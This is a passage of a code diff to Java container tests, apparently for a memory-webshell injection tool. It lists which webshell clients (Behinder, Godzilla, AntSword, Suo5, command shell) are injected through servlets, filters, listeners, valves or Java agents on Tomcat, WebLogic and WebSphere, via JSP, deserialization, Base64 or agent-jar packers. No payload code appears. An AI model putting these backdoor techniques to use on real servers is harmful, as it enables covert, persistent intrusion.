arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
|
||||
|
||||
+26
-16
@@ -43,41 +43,51 @@ public class Tomcat7ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
|
||||
);
|
||||
|
||||
+30
-16
@@ -44,55 +44,69 @@ public class Tomcat8ContainerTest {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
|
||||
|
||||
+26
-16
@@ -42,40 +42,50 @@ public class Tomcat9ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar)
|
||||
|
||||
+4
@@ -44,14 +44,18 @@ public class WebLogic1036ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64),
|
||||
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+4
@@ -46,14 +46,18 @@ public class WebLogic12214ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+4
@@ -46,14 +46,18 @@ public class WebLogic14110ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+4
@@ -49,14 +49,18 @@ public class WebSphere855ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+4
@@ -49,14 +49,18 @@ public class WebSphere905ContainerTest {
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
